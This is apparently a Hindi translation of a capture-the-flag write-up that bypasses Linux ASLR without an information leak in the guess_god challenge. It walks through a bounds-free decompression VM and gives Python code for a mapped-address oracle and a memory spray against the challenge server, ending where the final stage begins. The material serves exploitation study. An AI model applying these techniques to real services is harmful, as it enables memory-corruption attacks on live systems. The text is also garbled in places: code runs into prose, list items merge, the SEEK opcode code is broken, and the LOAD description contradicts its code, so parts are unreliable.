
ASLR bypass without infoleak
इस लेख में, मैं Samuel Groß द्वारा अपने Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass में वर्णित तकनीक के अनुप्रयोग पर चर्चा करूँगा, ताकि Linux x86_64 पर ASLR को बायपास किया जा सके।
इसे दिखाने के लिए मैं Buckeye CTF से एक pwnable चुनौती, guess_god, हल करूँगा।
मैं सामग्री को यथासंभव शुरुआती-अनुकूल रखने की कोशिश करूँगा, इसलिए यदि आप काफी आत्मविश्वासी हैं और सिर्फ एक्सप्लॉइट देखना चाहते हैं तो किसी भी अनुभाग को छोड़ने में संकोच न करें।

मैंने CTF नहीं खेला, लेकिन CTF समाप्त होने से लगभग 2 घंटे पहले मुझे इस चुनौती में दिलचस्पी हो गई, Guray00 की बदौलत, जो fibonhack डिस्कॉर्ड में कुछ क्रिप्टो संबंधी शरारतों के बारे में मदद माँग रहे थे।
मैं उसकी मदद नहीं कर सका, लेकिन मैंने pwnable चुनौतियों पर नज़र डाली, और सोचा कि P0 ब्लॉगपोस्ट को समझना अच्छा होगा और उम्मीद है कि वह इनाम मिल जाए।
Address Space Layout Randomization (ASLR) एक कंप्यूटर सुरक्षा तकनीक है जिसमें किसी प्रक्रिया के एड्रेस स्पेस में एक निष्पादन योग्य (executable) के बेस एड्रेस तथा लाइब्रेरीज़, हीप और स्टैक की स्थिति को यादृच्छिक रूप से स्थित किया जाता है।
Linux पर, आप किसी प्रक्रिया का pid दिए जाने पर procfs के माध्यम से उसकी मैपिंग्स देख सकते हैं, फ़ाइल /proc/<pid>/maps को पढ़कर।
यदि आप एक प्रक्रिया हैं और अपनी खुद की मेमोरी मैपिंग्स जानना चाहते हैं, तो आप /proc/self/maps पढ़ सकते हैं।
उदाहरण के लिए, आप cat के साथ /proc/self/maps पढ़ने का प्रयास कर सकते हैं:```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap]
7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0
7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0
7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack]
7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar]
7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
### मेमोरी मैपिंग पैटर्न
यदि आप इसे कुछ बार करते हैं, तो आप अनुमान लगा सकते हैं कि:
* बाइनरी PIE बेस 0x00005500_00000000-0x00005700_00000000 की रेंज में होना चाहिए, जिसका अर्थ है 2TB संभावित पते।
* हीप बाइनरी के पास होता है।
* लाइब्रेरीज़ 0x00007f00_00000000 - 0x00007fff_ffffffff की रेंज में आती हैं, 1TB संभावित पते।
* स्टैक \(ज़्यादातर समय\) 0x00007ffc_00000000 - 0x00007fff_ffffffff की रेंज में जाता है, 16gb संभावित पते।
* रेंज 0xffffffffff600000 - 0xffffffffff601000 हमेशा मैप होती है, यदि आप उत्सुक हैं कि यह क्या है तो आप [यह लेख](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) पढ़ सकते हैं।
## 1.3 बिना infoleak के ASLR को कैसे बायपास करें
आइए चर्चा करें कि जब कोई information leak संभव न हो तो आप ASLR को बायपास करने के लिए क्या कर सकते हैं।
यह Saelo के ब्लॉगपोस्ट को पढ़कर मुझे जो समझ आया, उसे सारांशित करने का मेरा प्रयास है।
ASLR को बायपास करने के लिए आपको चाहिए:
* एक memory spraying तकनीक, जो आपको दिए गए आकार की सन्निहित मेमोरी को, पतों की दी गई रेंज पर मैप करने देती है।
जैसा कि वह कहते हैं, इसे करने के दो तरीके हैं:
1. memory leak का दुरुपयोग करके (information leak नहीं!), एक बग जिसमें मेमोरी का एक हिस्सा "भूल" जाता है और कभी freed नहीं होता, और इसे तब तक कई बार trigger करना जब तक वांछित मात्रा में मेमोरी leak न हो जाए।
2. एक "amplification gadget" ढूंढकर और उसका दुरुपयोग करके: कोड का एक टुकड़ा जो डेटा के मौजूदा हिस्से को लेता है और उसे कॉपी करता है, संभावित रूप से कई बार, जिससे attacker अपेक्षाकृत कम संख्या में bytes भेजकर बड़ी मात्रा में मेमोरी spray कर सकता है।
* एक `isAddressMapped` oracle, जो एक पता देने पर बताता है कि वह पता mapped है या नहीं।
### Linux पर ASLR बायपास का PoC
आइए Linux पर aslr को पूरी तरह से तोड़ने के लिए saelo के PoC को reproduce करने का प्रयास करें।
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> saelo's poc</i> <p/> <br/>
Linux पर यह इतना आसान नहीं है, ASLR को पूरी तरह से तोड़ना केवल तभी संभव है जब आप 16TB मेमोरी allocate करने में सक्षम हों।```C
#include <stdio.h>
#include <stdlib.h>
int main()
{
// 64gb
size_t size = 0x1000000000;
// 16TB allocations
for (int i = 0; i < 256; i++) {
void *mem = malloc(size); // this ends up calling mmap
if (!mem) {
puts("Failed");
return 1;
}
printf("%p\n", mem);
}
unsigned int *mem = (void*)0x7f0000000000ULL;
*mem = 0x41414141;
printf("R/W to %p: %x\n", mem, *mem);
return 0;
}
man malloc के नोट्स से:
इसलिए void *mem = malloc(size) अंततः mmap(size + malloc_metadata_size, ...) को कॉल करेगा
चूँकि लाइब्रेरीज़ ld द्वारा mmap के माध्यम से प्रोसेस में मैप की जाती हैं, वे आवंटन लाइब्रेरीज़ के पास समाप्त होंगे।
यदि आप malloc द्वारा लौटाए गए पतों को देखें, तो आप बेहतर समझ सकते हैं कि क्या हो रहा है। प्रो टिप: सबसे महत्वपूर्ण बाइट्स को देखें।
poc इस तथ्य का शोषण कर रहा है कि किसी बिंदु पर, लौटाए गए पते का सबसे महत्वपूर्ण बाइट 7F से 7E में बदल जाता है, और चूँकि आवंटन सन्निहित हैं, उस सीमा के भीतर कुछ तो होना चाहिए। (हाँ, हम इस समस्या को हल करने के लिए बोल्ज़ानो-वीयरस्ट्रैस प्रमेय लागू कर रहे हैं!)
लेखक की बदौलत, ज़िप में बाइनरी, सोर्स कोड और डॉकरफ़ाइल शामिल हैं ताकि रिमोट वातावरण जैसा ही वातावरण दोबारा तैयार किया जा सके।

पर्यावरण के बारे में कुछ जानकारी हासिल करना हमेशा अच्छा होता है, आइए फ़ाइलों को देखें और कुछ नोट्स लें।
oatpp 1.2.5 को बिल्ड और इंस्टॉल करें, शायद इस विशेष संस्करण में उपयोगी बग्स हों?
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
यह चैलेंज को शुरू से बिल्ड करता है
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/
यह एक समस्या हो सकती है, इसलिए हम वितरित बाइनरीज़ की कॉपी कर लेते हैं।
COPY bins/flag_server-exe /home/ctf/challenge/
COPY bins/libkylezip.so /home/ctf/challenge/

docker-compose.yml फ़ाइल प्रदान की गई है, इसलिए परखने के लिए एक कार्यशील स्थानीय वातावरण प्राप्त करना बिल्कुल भी कठिन नहीं है। आप में से जो लोग डॉकर के साथ सहज नहीं हैं, उनके लिए चुनौती को स्थानीय रूप से परखने के लिए आवश्यक कमांड्स की सूची नीचे दी गई है।```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container
docker ps # list containers docker exec -it # exec COMMAND into the container
`docker-compose build` करने के बाद आप कंटेनर शुरू करने के लिए `docker-compose up` चला सकते हैं, और `nc 127.0.0.1 9000` के साथ चैलेंज से कनेक्ट कर सकते हैं
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/>
# 3. सोर्स कोड विश्लेषण
अब जब हमें ASLR को बायपास करने के लिए क्या करना चाहिए, इसकी कुछ बुनियादी जानकारी है, आइए सोर्स कोड देखें, ध्यान रखते हुए कि हम यह चाहते हैं:
* ज्ञात मेमोरी रेंज में मेमोरी स्प्रे करने का एक तरीका
* एक isAddrMapped ऑरेकल
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> सोर्स कोड फ़ोल्डर </i><p/>
यह अधिकतर एक oatpp वेब सर्वर को चालू करने के लिए ग्लू कोड है, वास्तव में महत्वपूर्ण फाइलें जिनका हम विश्लेषण करने वाले हैं:
* src/controller/MyController.*
* kylezip/decompress.*
## 3.1 MyController.*
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/>
यहाँ 3 एंडपॉइंट हैं:
* `/`
* `GET /files/{fileId}` -> पहले अपलोड की गई फ़ाइल डाउनलोड करें; यदि extract true है, तो डाउनलोड करने से पहले उसे extract करें।
* `POST /upload/{fileId}` -> दिए गए {fileId} के लिए एक फ़ाइल अपलोड करें।
और एक फ़ंक्शन `MyController.cpp` में लागू किया गया है।```C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract)
कौन-सा:
to_open को {file_id} या {file_id}.unkyle पर सेट करें ```C
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
यदि हम पहली बार {file_id} को निकालने का अनुरोध कर रहे हैं, तो यह उस पर decompress कॉल करता है,
जो {file_id} की डीकंप्रेस्ड फ़ाइल को {file_id}.unkyle पर लिखेगा। ```C
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
अंत में परिणाम को मेमोरी में mmap करें। ```C
struct stat sb;
fork() कॉलिंग प्रोसेस की नकल करके एक नई प्रक्रिया बनाता है, fork() के समय दोनों मेमोरी स्पेस की सामग्री समान होती है।
इसलिए यदि हम decompress() को एक oracle में बदल पाते हैं जो:
हम उस primitive का उपयोग पैरेंट की मेमोरी स्पेस का अनुमान लगाने के लिए कर सकते हैं।
पैरेंट प्रोसेस में mmap का एक कॉल है: ```C
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
यदि हम sb.st_size को नियंत्रित कर सकते हैं, जो डीकंप्रेस की गई फ़ाइल का आकार है, तो हम इसे आसानी से मेमोरी स्प्रेइंग प्रिमिटिव में बदल सकते हैं।
int decompress(const char *fname)
* इनपुट फ़ाइल को पते `0x42069000000` पर मैप करता है।
* आउटपुट फ़ाइल को पते `0x13371337000` पर मैप करता है।
* do_decompress() को कॉल करता है जो डीकंप्रेसन पूरा करता है।
फ़ाइल निम्न प्रारूप में होने की उम्मीद है:
| ऑफसेट | नाम | प्रकार | विवरण |
| - | - | - | - |
| +0h | magic | uint64 | एक magic value, जिसके 0x0123456789abcdef होने की उम्मीद है |
| +8h | filesize | uint64 | डीकंप्रेस की गई फ़ाइल का आकार |
### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)
You can view this function as a simple virtual machine, which executes the bytecode pointed by in and writes the output to the buffer pointed by out.
in points to our {file_id}.
out points to {file_id.unkyle}.
This VM has 4 opcodes:
0 -> NOP
1 -> STORE(u8 b)
b को out में लिखता है, out को 1 से बढ़ाता है।
Opcode implementation: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }
2 -> SEEK(u64 off)
out को out + off पर सेट करें।
out और off 64-बिट मान हैं, इसलिए out = out+off वही है जो out = (out+off) % MAX_64BIT_VALUE है, इसे पूर्णांक अतिप्रवाह कहा जाता है और हम इस व्यवहार का फायदा उठाकर किसी भी 64-बिट मान तक पहुँच सकते हैं। उदाहरण: ```py
M64 = (1<<64) # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) % M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
Opcode कार्यान्वयन: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }
* 3 -> LOAD(off, size).
`size` बाइट्स को `out - off` से `out` में कॉपी करें, `out` को 8 से बढ़ाएँ।
Opcode कार्यान्वयन: ```C
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
किसी भी ऑपरेशन में बाउंड्स चेक नहीं है, जो हमें 2 उपयोगी प्रिमिटिव देता है:
SEEK+LOAD का दुरुपयोग करकेSEEK+STORE का दुरुपयोग करकेमैंने बाइटकोड बनाने के लिए यह कोड इस्तेमाल किया:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1
class CompressedFile(): slots = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00'
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b
self.cur += 2
self.out += 1
def seek(self, off):
self.content += b'\x02'
self.content += p64(off)
self.cur += 9
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03'
self.content += p64(off)
self.content += p64(count)
self.cur += 17
# 4. बाइनरी के साथ इंटरैक्ट करना
शोषण चरण में गहराई से जाने से पहले, हमेशा कुछ ऐसा बनाना अच्छा होता है जो आपको बाइनरी के साथ आसानी से इंटरैक्ट करने में मदद करे, ताकि समय बर्बाद न हो।```py
import requests
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
चुनौती को हल करने की कोशिश करते समय यह मेरे लिए बहुत महत्वपूर्ण था, मैंने बहुत समय तक मेमोरी मैपिंग को घूरकर देखा।
ऐसा करने के लिए, आप चुनौती का एक स्थानीय इंस्टेंस स्पॉन कर सकते हैं और कुछ ऑपरेशन करने के बाद प्रोसेस मैप्स को पढ़ सकते हैं।

हमें एक read-what-where प्रिमिटिव दिया गया है, इसलिए isAddressMapped ओरेकल बनाना बिल्कुल भी कठिन नहीं है।
इसे करने का मेरा तरीका इस बाइटकोड को बनाना था:
memcpy(out, targetAddress, 1)write(b'A')अगर targetAddress mapped नहीं है, तो चाइल्ड प्रोग्राम memcpy पर segfault हो जाता है, जिससे हमें null बाइट्स से भरी एक decompressed फ़ाइल मिलती है।
अगर targetAddress mapped है, तो decompressed फ़ाइल के दूसरे बाइट में b'\x41' होता है।```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')
uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41
return isMapped
## 4.3 Memory Spray प्रिमिटिव
हम डीकंप्रेस्ड फ़ाइल के आकार को पूरी तरह नियंत्रित कर सकते हैं, और हमें उस आकार का mmap [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/dist-guess-god/src/src/controller/MyController.cpp#L62) में मिलता है।
अपने एक्सप्लॉइट में मैंने `isAddrMapped` फ़ंक्शन का उपयोग किया, और filelen बदल दिया।
उदाहरण के लिए, आकार = 0x4000000 = 64mb का एक सतत चंक आवंटित करने का प्रयास करते हैं।```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
यही परिणाम है:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...
यदि आप इसे फिर से करने का प्रयास करते हैं:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)
यही परिणाम है:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
बढ़िया! एकाधिक आवंटनों में कोई अंतराल नहीं होगा।
## 4.4 कितनी मेमोरी स्प्रे करें?
जैसा कि आप [इस poc](#poc-of-aslr-bypass-on-linux) में देख सकते हैं, सतत मैप की गई मेमोरी के लिए आदर्श आकार 16TB होगा।
दुर्भाग्य से, यदि आप रिमोट सर्वर पर 16TB मेमोरी आवंटित करने का प्रयास करते हैं, तो mmap विफल हो जाएगा, क्योंकि [nsjail इस पर सीमा लगाता है](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold)।
कुछ परीक्षण और त्रुटि के बाद मैंने पाया कि मैं इस कोड के साथ ~3840mb मेमोरी स्प्रे कर सकता हूँ:```py
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
isAddrMapped(IN_ADDR, i, size)
परिणामी मेमोरी मैपिंग कुछ इस प्रकार होगी:
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps
... My spray: ...
7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle
7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle
7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle
7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle
7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle
7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle
7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle
7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle
7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle
7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle
7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle
7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle
7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle
7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle
7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle
7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle
7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle
7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle
7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle
7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle
7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle
7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle
7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle
7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle
7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle
7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle
7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle
7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle
7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle
7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle
7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle
7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle
7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle
7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle
7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle
7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle
7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle
7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle
7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle
7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle
7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle
7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle
7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle
7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle
7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle
7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle
7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle
7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle
7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle
7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0
7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0
7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle
7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle
7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle
7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle
7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle
7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle
7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle
7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle
7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle
7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0
7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0
... Libraries: ...
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
...
आइए अपना ध्यान मेमोरी स्प्रेइंग के साथ बनाए गए पतों पर केंद्रित करें। \(*.unkyle files \)
हम [बाउंड्री क्रॉस ट्रिक](#Boundary-cross-trick) लागू करने का प्रयास कर सकते हैं।
| mem | 4gb सीमा पार?
| - |-
| 7fe2dc000000 | नहीं
| 7fe2e0000000 | नहीं
| 7fe2e4000000 | नहीं
| 7fe2e8000000 | नहीं
| 7fe2ec000000 | नहीं
| 7fe2f0000000 | नहीं
| 7fe2f4000000 | नहीं
| 7fe2f8000000 | नहीं
| 7fe2fc000000 | नहीं
| 7fe300000000 | हाँ
| 7fe304000000 | हाँ
| 7fe308000000 | हाँ
7fe2.. से 7fe3.. में बदलाव का फायदा उठाकर, हम मेमोरी को 0x100000000 = 4gb मेमोरी के स्टेप से स्कैन कर सकते हैं।
## 4.5 अंततः ASLR को हराना
